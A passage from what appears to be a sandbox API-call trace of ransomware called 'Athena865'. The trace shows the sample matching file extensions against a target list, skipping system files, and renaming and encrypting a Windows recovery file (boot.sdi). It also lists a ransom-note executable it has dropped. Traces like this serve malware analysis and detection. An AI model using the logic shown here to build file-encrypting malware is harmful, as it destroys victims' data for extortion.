(lpString="cpd") returned 3 [0048.987] lstrcmpiW (lpString1="sdi", lpString2="cpd") returned 1 [0048.987] lstrlenW (lpString="dacpac") returned 6 [0048.987] lstrcmpiW (lpString1="ot.sdi", lpString2="dacpac") returned 1 [0048.987] lstrlenW (lpString="dad") returned 3 [0048.987] lstrcmpiW (lpString1="sdi", lpString2="dad") returned 1 [0048.987] lstrlenW (lpString="dadiagrams") returned 10 [0048.987] lstrlenW (lpString="daschema") returned 8 [0048.987] lstrlenW (lpString="db-journal") returned 10 [0048.987] lstrlenW (lpString="db-shm") returned 6 [0048.987] lstrcmpiW (lpString1="ot.sdi", lpString2="db-shm") returned 1 [0048.987] lstrlenW (lpString="db-wal") returned 6 [0048.987] lstrcmpiW (lpString1="ot.sdi", lpString2="db-wal") returned 1 [0048.987] lstrlenW (lpString="dbc") returned 3 [0048.987] lstrcmpiW (lpString1="sdi", lpString2="dbc") returned 1 [0048.987] lstrlenW (lpString="dbs") returned 3 [0048.987] lstrcmpiW (lpString1="sdi", lpString2="dbs") returned 1 [0048.987] lstrlenW (lpString="dbt") returned 3 [0048.987] lstrcmpiW (lpString1="sdi", lpString2="dbt") returned 1 [0048.987] lstrlenW (lpString="dbv") returned 3 [0048.987] lstrcmpiW (lpString1="sdi", lpString2="dbv") returned 1 [0048.987] lstrlenW (lpString="dbx") returned 3 [0048.987] lstrcmpiW (lpString1="sdi", lpString2="dbx") returned 1 [0048.987] lstrlenW (lpString="dcb") returned 3 [0048.987] lstrcmpiW (lpString1="sdi", lpString2="dcb") returned 1 [0048.987] lstrlenW (lpString="dct") returned 3 [0048.987] lstrcmpiW (lpString1="sdi", lpString2="dct") returned 1 [0048.987] lstrlenW (lpString="dcx") returned 3 [0048.987] lstrcmpiW (lpString1="sdi", lpString2="dcx") returned 1 [0048.987] lstrlenW (lpString="ddl") returned 3 [0048.988] lstrcmpiW (lpString1="sdi", lpString2="ddl") returned 1 [0048.988] lstrlenW (lpString="dlis") returned 4 [0048.988] lstrcmpiW (lpString1=".sdi", lpString2="dlis") returned -1 [0048.988] lstrlenW (lpString="dp1") returned 3 [0048.988] lstrcmpiW (lpString1="sdi", lpString2="dp1") returned 1 [0048.988] lstrlenW (lpString="dqy") returned 3 [0048.988] lstrcmpiW (lpString1="sdi", lpString2="dqy") returned 1 [0048.988] lstrlenW (lpString="dsk") returned 3 [0048.988] lstrcmpiW (lpString1="sdi", lpString2="dsk") returned 1 [0048.988] lstrlenW (lpString="dsn") returned 3 [0048.988] lstrcmpiW (lpString1="sdi", lpString2="dsn") returned 1 [0048.988] lstrlenW (lpString="dtsx") returned 4 [0048.988] lstrcmpiW (lpString1=".sdi", lpString2="dtsx") returned -1 [0048.988] lstrlenW (lpString="dxl") returned 3 [0048.988] lstrcmpiW (lpString1="sdi", lpString2="dxl") returned 1 [0048.988] lstrlenW (lpString="eco") returned 3 [0048.988] lstrcmpiW (lpString1="sdi", lpString2="eco") returned 1 [0048.988] lstrlenW (lpString="ecx") returned 3 [0048.988] lstrcmpiW (lpString1="sdi", lpString2="ecx") returned 1 [0048.988] lstrlenW (lpString="edb") returned 3 [0048.988] lstrcmpiW (lpString1="sdi", lpString2="edb") returned 1 [0048.988] lstrlenW (lpString="epim") returned 4 [0048.988] lstrcmpiW (lpString1=".sdi", lpString2="epim") returned -1 [0048.988] lstrlenW (lpString="fcd") returned 3 [0048.988] lstrcmpiW (lpString1="sdi", lpString2="fcd") returned 1 [0048.988] lstrlenW (lpString="fdb") returned 3 [0048.988] lstrcmpiW (lpString1="sdi", lpString2="fdb") returned 1 [0048.988] lstrlenW (lpString="fic") returned 3 [0048.988] lstrcmpiW (lpString1="sdi", lpString2="fic") returned 1 [0048.988] lstrlenW (lpString="flexolibrary") returned 12 [0048.988] lstrlenW (lpString="fm5") returned 3 [0048.988] lstrcmpiW (lpString1="sdi", lpString2="fm5") returned 1 [0048.988] lstrlenW (lpString="fmp") returned 3 [0048.988] lstrcmpiW (lpString1="sdi", lpString2="fmp") returned 1 [0048.988] lstrlenW (lpString="fmp12") returned 5 [0048.989] lstrcmpiW (lpString1="t.sdi", lpString2="fmp12") returned 1 [0048.989] lstrlenW (lpString="fmpsl") returned 5 [0048.989] lstrcmpiW (lpString1="t.sdi", lpString2="fmpsl") returned 1 [0048.989] lstrlenW (lpString="fol") returned 3 [0048.989] lstrcmpiW (lpString1="sdi", lpString2="fol") returned 1 [0048.989] lstrlenW (lpString="fp3") returned 3 [0048.989] lstrcmpiW (lpString1="sdi", lpString2="fp3") returned 1 [0048.989] lstrlenW (lpString="fp4") returned 3 [0048.989] lstrcmpiW (lpString1="sdi", lpString2="fp4") returned 1 [0048.989] lstrlenW (lpString="fp5") returned 3 [0048.989] lstrcmpiW (lpString1="sdi", lpString2="fp5") returned 1 [0048.989] lstrlenW (lpString="fp7") returned 3 [0048.989] lstrcmpiW (lpString1="sdi", lpString2="fp7") returned 1 [0048.989] lstrlenW (lpString="fpt") returned 3 [0048.989] lstrcmpiW (lpString1="sdi", lpString2="fpt") returned 1 [0048.989] lstrlenW (lpString="frm") returned 3 [0048.989] lstrcmpiW (lpString1="sdi", lpString2="frm") returned 1 [0048.989] lstrlenW (lpString="gdb") returned 3 [0048.989] lstrcmpiW (lpString1="sdi", lpString2="gdb") returned 1 [0048.989] lstrlenW (lpString="gdb") returned 3 [0048.989] lstrcmpiW (lpString1="sdi", lpString2="gdb") returned 1 [0048.989] lstrlenW (lpString="grdb") returned 4 [0048.989] lstrcmpiW (lpString1=".sdi", lpString2="grdb") returned -1 [0048.989] lstrlenW (lpString="gwi") returned 3 [0048.989] lstrcmpiW (lpString1="sdi", lpString2="gwi") returned 1 [0048.989] lstrlenW (lpString="hdb") returned 3 [0048.989] lstrcmpiW (lpString1="sdi", lpString2="hdb") returned 1 [0048.989] lstrlenW (lpString="his") returned 3 [0048.989] lstrcmpiW (lpString1="sdi", lpString2="his") returned 1 [0048.989] lstrlenW (lpString="ib") returned 2 [0048.989] lstrcmpiW (lpString1="di", lpString2="ib") returned -1 [0048.989] lstrlenW (lpString="idb") returned 3 [0048.989] lstrcmpiW (lpString1="sdi", lpString2="idb") returned 1 [0048.989] lstrlenW (lpString="ihx") returned 3 [0048.989] lstrcmpiW (lpString1="sdi", lpString2="ihx") returned 1 [0048.990] lstrlenW (lpString="itdb") returned 4 [0048.990] lstrcmpiW (lpString1=".sdi", lpString2="itdb") returned -1 [0048.990] lstrlenW (lpString="itw") returned 3 [0048.990] lstrcmpiW (lpString1="sdi", lpString2="itw") returned 1 [0048.990] lstrlenW (lpString="jet") returned 3 [0048.990] lstrcmpiW (lpString1="sdi", lpString2="jet") returned 1 [0048.990] lstrlenW (lpString="jtx") returned 3 [0048.990] lstrcmpiW (lpString1="sdi", lpString2="jtx") returned 1 [0048.990] lstrlenW (lpString="kdb") returned 3 [0048.990] lstrcmpiW (lpString1="sdi", lpString2="kdb") returned 1 [0048.990] lstrlenW (lpString="kexi") returned 4 [0048.990] lstrcmpiW (lpString1=".sdi", lpString2="kexi") returned -1 [0048.990] lstrlenW (lpString="kexic") returned 5 [0048.990] lstrcmpiW (lpString1="t.sdi", lpString2="kexic") returned 1 [0048.990] lstrlenW (lpString="kexis") returned 5 [0048.990] lstrcmpiW (lpString1="t.sdi", lpString2="kexis") returned 1 [0048.990] lstrlenW (lpString="lgc") returned 3 [0048.990] lstrcmpiW (lpString1="sdi", lpString2="lgc") returned 1 [0048.990] lstrlenW (lpString="lwx") returned 3 [0048.990] lstrcmpiW (lpString1="sdi", lpString2="lwx") returned 1 [0048.990] lstrlenW (lpString="maf") returned 3 [0048.990] lstrcmpiW (lpString1="sdi", lpString2="maf") returned 1 [0048.990] lstrlenW (lpString="maq") returned 3 [0048.990] lstrcmpiW (lpString1="sdi", lpString2="maq") returned 1 [0048.990] lstrlenW (lpString="mar") returned 3 [0048.990] lstrcmpiW (lpString1="sdi", lpString2="mar") returned 1 [0048.990] lstrlenW (lpString="marshal") returned 7 [0048.990] lstrcmpiW (lpString1="oot.sdi", lpString2="marshal") returned 1 [0048.990] lstrlenW (lpString="mas") returned 3 [0048.990] lstrcmpiW (lpString1="sdi", lpString2="mas") returned 1 [0048.990] lstrlenW (lpString="mav") returned 3 [0048.990] lstrcmpiW (lpString1="sdi", lpString2="mav") returned 1 [0048.990] lstrlenW (lpString="maw") returned 3 [0048.990] lstrcmpiW (lpString1="sdi", lpString2="maw") returned 1 [0048.990] lstrlenW (lpString="mdbhtml") returned 7 [0048.990] lstrcmpiW (lpString1="oot.sdi", lpString2="mdbhtml") returned 1 [0048.991] lstrlenW (lpString="mdn") returned 3 [0048.991] lstrcmpiW (lpString1="sdi", lpString2="mdn") returned 1 [0048.991] lstrlenW (lpString="mdt") returned 3 [0048.991] lstrcmpiW (lpString1="sdi", lpString2="mdt") returned 1 [0048.991] lstrlenW (lpString="mfd") returned 3 [0048.991] lstrcmpiW (lpString1="sdi", lpString2="mfd") returned 1 [0048.991] lstrlenW (lpString="mpd") returned 3 [0048.991] lstrcmpiW (lpString1="sdi", lpString2="mpd") returned 1 [0048.991] lstrlenW (lpString="mrg") returned 3 [0048.991] lstrcmpiW (lpString1="sdi", lpString2="mrg") returned 1 [0048.991] lstrlenW (lpString="mud") returned 3 [0048.991] lstrcmpiW (lpString1="sdi", lpString2="mud") returned 1 [0048.991] lstrlenW (lpString="mwb") returned 3 [0048.991] lstrcmpiW (lpString1="sdi", lpString2="mwb") returned 1 [0048.991] lstrlenW (lpString="myd") returned 3 [0048.991] lstrcmpiW (lpString1="sdi", lpString2="myd") returned 1 [0048.991] lstrlenW (lpString="ndf") returned 3 [0048.991] lstrcmpiW (lpString1="sdi", lpString2="ndf") returned 1 [0048.991] lstrlenW (lpString="nnt") returned 3 [0048.991] lstrcmpiW (lpString1="sdi", lpString2="nnt") returned 1 [0048.991] lstrlenW (lpString="nrmlib") returned 6 [0048.991] lstrcmpiW (lpString1="ot.sdi", lpString2="nrmlib") returned 1 [0048.991] lstrlenW (lpString="ns2") returned 3 [0048.991] lstrcmpiW (lpString1="sdi", lpString2="ns2") returned 1 [0048.991] lstrlenW (lpString="ns3") returned 3 [0048.991] lstrcmpiW (lpString1="sdi", lpString2="ns3") returned 1 [0048.991] lstrlenW (lpString="ns4") returned 3 [0048.991] lstrcmpiW (lpString1="sdi", lpString2="ns4") returned 1 [0048.991] lstrlenW (lpString="nsf") returned 3 [0048.991] lstrcmpiW (lpString1="sdi", lpString2="nsf") returned 1 [0048.991] lstrlenW (lpString="nv") returned 2 [0048.991] lstrcmpiW (lpString1="di", lpString2="nv") returned -1 [0048.991] lstrlenW (lpString="nv2") returned 3 [0048.991] lstrcmpiW (lpString1="sdi", lpString2="nv2") returned 1 [0048.991] lstrlenW (lpString="nwdb") returned 4 [0048.992] lstrcmpiW (lpString1=".sdi", lpString2="nwdb") returned -1 [0048.992] lstrlenW (lpString="nyf") returned 3 [0048.992] lstrcmpiW (lpString1="sdi", lpString2="nyf") returned 1 [0048.992] lstrlenW (lpString="odb") returned 3 [0048.992] lstrcmpiW (lpString1="sdi", lpString2="odb") returned 1 [0048.992] lstrlenW (lpString="odb") returned 3 [0048.992] lstrcmpiW (lpString1="sdi", lpString2="odb") returned 1 [0048.992] lstrlenW (lpString="oqy") returned 3 [0048.992] lstrcmpiW (lpString1="sdi", lpString2="oqy") returned 1 [0048.992] lstrlenW (lpString="ora") returned 3 [0048.992] lstrcmpiW (lpString1="sdi", lpString2="ora") returned 1 [0048.992] lstrlenW (lpString="orx") returned 3 [0048.992] lstrcmpiW (lpString1="sdi", lpString2="orx") returned 1 [0048.992] lstrlenW (lpString="owc") returned 3 [0048.992] lstrcmpiW (lpString1="sdi", lpString2="owc") returned 1 [0048.992] lstrlenW (lpString="p96") returned 3 [0048.992] lstrcmpiW (lpString1="sdi", lpString2="p96") returned 1 [0048.992] lstrlenW (lpString="p97") returned 3 [0048.992] lstrcmpiW (lpString1="sdi", lpString2="p97") returned 1 [0048.992] lstrlenW (lpString="pan") returned 3 [0048.992] lstrcmpiW (lpString1="sdi", lpString2="pan") returned 1 [0048.992] lstrlenW (lpString="pdb") returned 3 [0048.992] lstrcmpiW (lpString1="sdi", lpString2="pdb") returned 1 [0048.992] lstrlenW (lpString="pdm") returned 3 [0048.992] lstrcmpiW (lpString1="sdi", lpString2="pdm") returned 1 [0048.992] lstrlenW (lpString="pnz") returned 3 [0048.992] lstrcmpiW (lpString1="sdi", lpString2="pnz") returned 1 [0048.992] lstrlenW (lpString="qry") returned 3 [0048.992] lstrcmpiW (lpString1="sdi", lpString2="qry") returned 1 [0048.992] lstrlenW (lpString="qvd") returned 3 [0048.992] lstrcmpiW (lpString1="sdi", lpString2="qvd") returned 1 [0048.992] lstrlenW (lpString="rbf") returned 3 [0048.992] lstrcmpiW (lpString1="sdi", lpString2="rbf") returned 1 [0048.992] lstrlenW (lpString="rctd") returned 4 [0048.992] lstrcmpiW (lpString1=".sdi", lpString2="rctd") returned -1 [0048.992] lstrlenW (lpString="rod") returned 3 [0048.993] lstrcmpiW (lpString1="sdi", lpString2="rod") returned 1 [0048.993] lstrlenW (lpString="rodx") returned 4 [0048.993] lstrcmpiW (lpString1=".sdi", lpString2="rodx") returned -1 [0048.993] lstrlenW (lpString="rpd") returned 3 [0048.993] lstrcmpiW (lpString1="sdi", lpString2="rpd") returned 1 [0048.993] lstrlenW (lpString="rsd") returned 3 [0048.993] lstrcmpiW (lpString1="sdi", lpString2="rsd") returned 1 [0048.993] lstrlenW (lpString="sas7bdat") returned 8 [0048.993] lstrlenW (lpString="sbf") returned 3 [0048.993] lstrcmpiW (lpString1="sdi", lpString2="sbf") returned 1 [0048.993] lstrlenW (lpString="scx") returned 3 [0048.993] lstrcmpiW (lpString1="sdi", lpString2="scx") returned 1 [0048.993] lstrlenW (lpString="sdb") returned 3 [0048.993] lstrcmpiW (lpString1="sdi", lpString2="sdb") returned 1 [0048.993] lstrlenW (lpString="sdc") returned 3 [0048.993] lstrcmpiW (lpString1="sdi", lpString2="sdc") returned 1 [0048.993] lstrlenW (lpString="sdf") returned 3 [0048.993] lstrcmpiW (lpString1="sdi", lpString2="sdf") returned 1 [0048.993] lstrlenW (lpString="sis") returned 3 [0048.993] lstrcmpiW (lpString1="sdi", lpString2="sis") returned -1 [0048.993] lstrlenW (lpString="spq") returned 3 [0048.993] lstrcmpiW (lpString1="sdi", lpString2="spq") returned -1 [0048.993] lstrlenW (lpString="te") returned 2 [0048.993] lstrcmpiW (lpString1="di", lpString2="te") returned -1 [0048.993] lstrlenW (lpString="teacher") returned 7 [0048.993] lstrcmpiW (lpString1="oot.sdi", lpString2="teacher") returned -1 [0048.993] lstrlenW (lpString="tmd") returned 3 [0048.993] lstrcmpiW (lpString1="sdi", lpString2="tmd") returned -1 [0048.993] lstrlenW (lpString="tps") returned 3 [0048.993] lstrcmpiW (lpString1="sdi", lpString2="tps") returned -1 [0048.993] lstrlenW (lpString="trc") returned 3 [0048.993] lstrcmpiW (lpString1="sdi", lpString2="trc") returned -1 [0048.993] lstrlenW (lpString="trc") returned 3 [0048.993] lstrcmpiW (lpString1="sdi", lpString2="trc") returned -1 [0048.993] lstrlenW (lpString="trm") returned 3 [0048.993] lstrcmpiW (lpString1="sdi", lpString2="trm") returned -1 [0048.993] lstrlenW (lpString="udb") returned 3 [0048.994] lstrcmpiW (lpString1="sdi", lpString2="udb") returned -1 [0048.994] lstrlenW (lpString="udl") returned 3 [0048.994] lstrcmpiW (lpString1="sdi", lpString2="udl") returned -1 [0048.994] lstrlenW (lpString="usr") returned 3 [0048.994] lstrcmpiW (lpString1="sdi", lpString2="usr") returned -1 [0048.994] lstrlenW (lpString="v12") returned 3 [0048.994] lstrcmpiW (lpString1="sdi", lpString2="v12") returned -1 [0048.994] lstrlenW (lpString="vis") returned 3 [0048.994] lstrcmpiW (lpString1="sdi", lpString2="vis") returned -1 [0048.994] lstrlenW (lpString="vpd") returned 3 [0048.994] lstrcmpiW (lpString1="sdi", lpString2="vpd") returned -1 [0048.994] lstrlenW (lpString="vvv") returned 3 [0048.994] lstrcmpiW (lpString1="sdi", lpString2="vvv") returned -1 [0048.994] lstrlenW (lpString="wdb") returned 3 [0048.994] lstrcmpiW (lpString1="sdi", lpString2="wdb") returned -1 [0048.994] lstrlenW (lpString="wmdb") returned 4 [0048.994] lstrcmpiW (lpString1=".sdi", lpString2="wmdb") returned -1 [0048.994] lstrlenW (lpString="wrk") returned 3 [0048.994] lstrcmpiW (lpString1="sdi", lpString2="wrk") returned -1 [0048.994] lstrlenW (lpString="xdb") returned 3 [0048.994] lstrcmpiW (lpString1="sdi", lpString2="xdb") returned -1 [0048.994] lstrlenW (lpString="xld") returned 3 [0048.994] lstrcmpiW (lpString1="sdi", lpString2="xld") returned -1 [0048.994] lstrlenW (lpString="xmlff") returned 5 [0048.994] lstrcmpiW (lpString1="t.sdi", lpString2="xmlff") returned -1 [0048.994] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi.Athena865") returned 67 [0048.994] MoveFileExW (lpExistingFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi"), lpNewFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi.Athena865" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi.athena865"), dwFlags=0x1) returned 1 [0048.996] CreateFileW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi.Athena865" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0048.996] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3170304) returned 1 [0048.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.997] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.997] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.997] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.998] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x306300, lpName=0x0) returned 0x17c [0048.999] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x106300) returned 0x2d50000 [0049.051] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0049.124] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0049.142] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0049.143] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.143] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0049.146] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0049.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0049.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50afa8 [0049.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50afa8 | out: hHeap=0x4f0000) returned 1 [0049.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.148] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0049.159] CloseHandle (hObject=0x17c) returned 1 [0049.159] CloseHandle (hObject=0x154) returned 1 [0049.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0049.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0049.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.168] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc6551c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc6551c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0049.168] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0049.168] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Winre.wim", cAlternateFileName="")) returned 1 [0049.168] lstrcmpiW (lpString1="Winre.wim", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.168] lstrcmpiW (lpString1="Winre.wim", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.168] lstrcmpiW (lpString1="Winre.wim", lpString2=".") returned 1 [0049.168] lstrcmpiW (lpString1="Winre.wim", lpString2="..") returned 1 [0049.168] lstrcmpiW (lpString1="Winre.wim", lpString2="windows") returned 1 [0049.168] lstrcmpiW (lpString1="Winre.wim", lpString2="bootmgr") returned 1 [0049.168] lstrcmpiW (lpString1="Winre.wim", lpString2="temp") returned 1 [0049.168] lstrcmpiW (lpString1="Winre.wim", lpString2="pagefile.sys") returned 1 [0049.168] lstrcmpiW (lpString1="Winre.wim", lpString2="boot") returned 1 [0049.168] lstrcmpiW (lpString1="Winre.wim", lpString2="ids.txt") returned 1 [0049.168] lstrcmpiW (lpString1="Winre.wim", lpString2="ntuser.dat") returned 1 [0049.168] lstrcmpiW (lpString1="Winre.wim", lpString2="perflogs") returned 1 [0049.168] lstrcmpiW (lpString1="Winre.wim", lpString2="MSBuild") returned 1 [0049.168] lstrlenW (lpString="Winre.wim") returned 9 [0049.168] lstrcpyW (in: lpString1=0x241e8aa, lpString2="Winre.wim" | out: lpString1="Winre.wim") returned="Winre.wim" [0049.168] lstrlenW (lpString="Winre.wim") returned 9 [0049.168] lstrlenW (lpString="Athena865") returned 9 [0049.168] lstrlenW (lpString=".dll") returned 4 [0049.168] lstrcmpiW (lpString1="Winre.wim", lpString2=".dll") returned 1 [0049.168] lstrlenW (lpString=".lnk") returned 4 [0049.168] lstrcmpiW (lpString1="Winre.wim", lpString2=".lnk") returned 1 [0049.168] lstrlenW (lpString=".ini") returned 4 [0049.168] lstrcmpiW (lpString1="Winre.wim", lpString2=".ini") returned 1 [0049.168] lstrlenW (lpString=".sys") returned 4 [0049.168] lstrcmpiW (lpString1="Winre.wim", lpString2=".sys") returned 1 [0049.168] lstrlenW (lpString="Winre.wim") returned 9 [0049.168] lstrlenW (lpString="bak") returned 3 [0049.168] lstrcmpiW (lpString1="wim", lpString2="bak") returned 1 [0049.168] lstrlenW (lpString="ba_") returned 3 [0049.168] lstrcmpiW (lpString1="wim", lpString2="ba_") returned 1 [0049.168] lstrlenW (lpString="dbb") returned 3 [0049.169] lstrcmpiW (lpString1="wim", lpString2="dbb") returned 1 [0049.169] lstrlenW (lpString="vmdk") returned 4 [0049.169] lstrcmpiW (lpString1=".wim", lpString2="vmdk") returned -1 [0049.169] lstrlenW (lpString="rar") returned 3 [0049.169] lstrcmpiW (lpString1="wim", lpString2="rar") returned 1 [0049.169] lstrlenW (lpString="zip") returned 3 [0049.169] lstrcmpiW (lpString1="wim", lpString2="zip") returned -1 [0049.169] lstrlenW (lpString="tgz") returned 3 [0049.169] lstrcmpiW (lpString1="wim", lpString2="tgz") returned 1 [0049.169] lstrlenW (lpString="vbox") returned 4 [0049.169] lstrcmpiW (lpString1=".wim", lpString2="vbox") returned -1 [0049.169] lstrlenW (lpString="vdi") returned 3 [0049.169] lstrcmpiW (lpString1="wim", lpString2="vdi") returned 1 [0049.169] lstrlenW (lpString="vhd") returned 3 [0049.169] lstrcmpiW (lpString1="wim", lpString2="vhd") returned 1 [0049.169] lstrlenW (lpString="vhdx") returned 4 [0049.169] lstrcmpiW (lpString1=".wim", lpString2="vhdx") returned -1 [0049.169] lstrlenW (lpString="avhd") returned 4 [0049.169] lstrcmpiW (lpString1=".wim", lpString2="avhd") returned -1 [0049.169] lstrlenW (lpString="db") returned 2 [0049.169] lstrcmpiW (lpString1="im", lpString2="db") returned 1 [0049.169] lstrlenW (lpString="db2") returned 3 [0049.169] lstrcmpiW (lpString1="wim", lpString2="db2") returned 1 [0049.169] lstrlenW (lpString="db3") returned 3 [0049.169] lstrcmpiW (lpString1="wim", lpString2="db3") returned 1 [0049.169] lstrlenW (lpString="dbf") returned 3 [0049.169] lstrcmpiW (lpString1="wim", lpString2="dbf") returned 1 [0049.169] lstrlenW (lpString="mdf") returned 3 [0049.169] lstrcmpiW (lpString1="wim", lpString2="mdf") returned 1 [0049.169] lstrlenW (lpString="mdb") returned 3 [0049.169] lstrcmpiW (lpString1="wim", lpString2="mdb") returned 1 [0049.169] lstrlenW (lpString="sql") returned 3 [0049.169] lstrcmpiW (lpString1="wim", lpString2="sql") returned 1 [0049.169] lstrlenW (lpString="sqlite") returned 6 [0049.169] lstrcmpiW (lpString1="re.wim", lpString2="sqlite") returned -1 [0049.169] lstrlenW (lpString="sqlite3") returned 7 [0049.170] lstrcmpiW (lpString1="nre.wim", lpString2="sqlite3") returned -1 [0049.170] lstrlenW (lpString="sqlitedb") returned 8 [0049.170] lstrcmpiW (lpString1="inre.wim", lpString2="sqlitedb") returned -1 [0049.170] lstrlenW (lpString="xml") returned 3 [0049.170] lstrcmpiW (lpString1="wim", lpString2="xml") returned -1 [0049.170] lstrlenW (lpString="$er") returned 3 [0049.170] lstrcmpiW (lpString1="wim", lpString2="$er") returned 1 [0049.170] lstrlenW (lpString="4dd") returned 3 [0049.170] lstrcmpiW (lpString1="wim", lpString2="4dd") returned 1 [0049.170] lstrlenW (lpString="4dl") returned 3 [0049.170] lstrcmpiW (lpString1="wim", lpString2="4dl") returned 1 [0049.170] lstrlenW (lpString="^^^") returned 3 [0049.170] lstrcmpiW (lpString1="wim", lpString2="^^^") returned 1 [0049.170] lstrlenW (lpString="abs") returned 3 [0049.170] lstrcmpiW (lpString1="wim", lpString2="abs") returned 1 [0049.170] lstrlenW (lpString="abx") returned 3 [0049.170] lstrcmpiW (lpString1="wim", lpString2="abx") returned 1 [0049.170] lstrlenW (lpString="accdb") returned 5 [0049.170] lstrcmpiW (lpString1="e.wim", lpString2="accdb") returned 1 [0049.170] lstrlenW (lpString="accdc") returned 5 [0049.170] lstrcmpiW (lpString1="e.wim", lpString2="accdc") returned 1 [0049.170] lstrlenW (lpString="accde") returned 5 [0049.170] lstrcmpiW (lpString1="e.wim", lpString2="accde") returned 1 [0049.170] lstrlenW (lpString="accdr") returned 5 [0049.170] lstrcmpiW (lpString1="e.wim", lpString2="accdr") returned 1 [0049.170] lstrlenW (lpString="accdt") returned 5 [0049.170] lstrcmpiW (lpString1="e.wim", lpString2="accdt") returned 1 [0049.170] lstrlenW (lpString="accdw") returned 5 [0049.170] lstrcmpiW (lpString1="e.wim", 